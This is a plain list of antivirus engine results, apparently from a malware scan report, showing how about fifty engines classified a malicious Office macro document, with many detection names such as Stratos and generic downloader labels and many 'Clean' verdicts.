Symantec ISB.Downloader!gen433
ESET-NOD32 Clean
Baidu Clean
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
Alibaba Trojan:Office/Stratos.621d5682
NANO-Antivirus Trojan.Ole2.Vbs-heuristic.druvzi
ViRobot W97M.S.Agent.55132
AegisLab Trojan.MSOffice.Stratos.4!c
Rising Clean
Ad-Aware Trojan.GenericKD.36582109
Emsisoft Trojan.GenericKD.36582109 (B)
Comodo Clean
F-Secure Clean
DrWeb Clean
Zillya Clean
TrendMicro Clean
McAfee-GW-Edition BehavesLike.Downloader.qc
CMC Clean
Sophos Clean
SentinelOne Static AI - Malicious OPENXML
GData Trojan.GenericKD.36582109
Jiangmin Clean
Avira W97M/Stratos.kottx
MAX malware (ai score=100)
Antiy-AVL Clean
Kingsoft Clean
Microsoft Clean
Gridinsoft Clean
Arcabit Clean
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Trojan.Script.Generic
Avast-Mobile Clean
Cynet Malicious (score: 99)
AhnLab-V3 Clean
Acronis Clean
ALYac Trojan.Downloader.DOC.Gen
TACHYON Suspicious/WOX.Obfus.Gen.8
VBA32 Clean
Zoner Probably Heur.W97Obfuscated
Tencent Heur.Macro.Generic.b.d53b76d8
Yandex Clean
Ikarus W97M.Stratos
MaxSecure Clean
Fortinet VBA/Agent.46E1!tr
AVG Other:Malware-gen [Trj]
Panda Clean
Qihoo-360 macro.office.vba.gen.307e
No IRMA results available.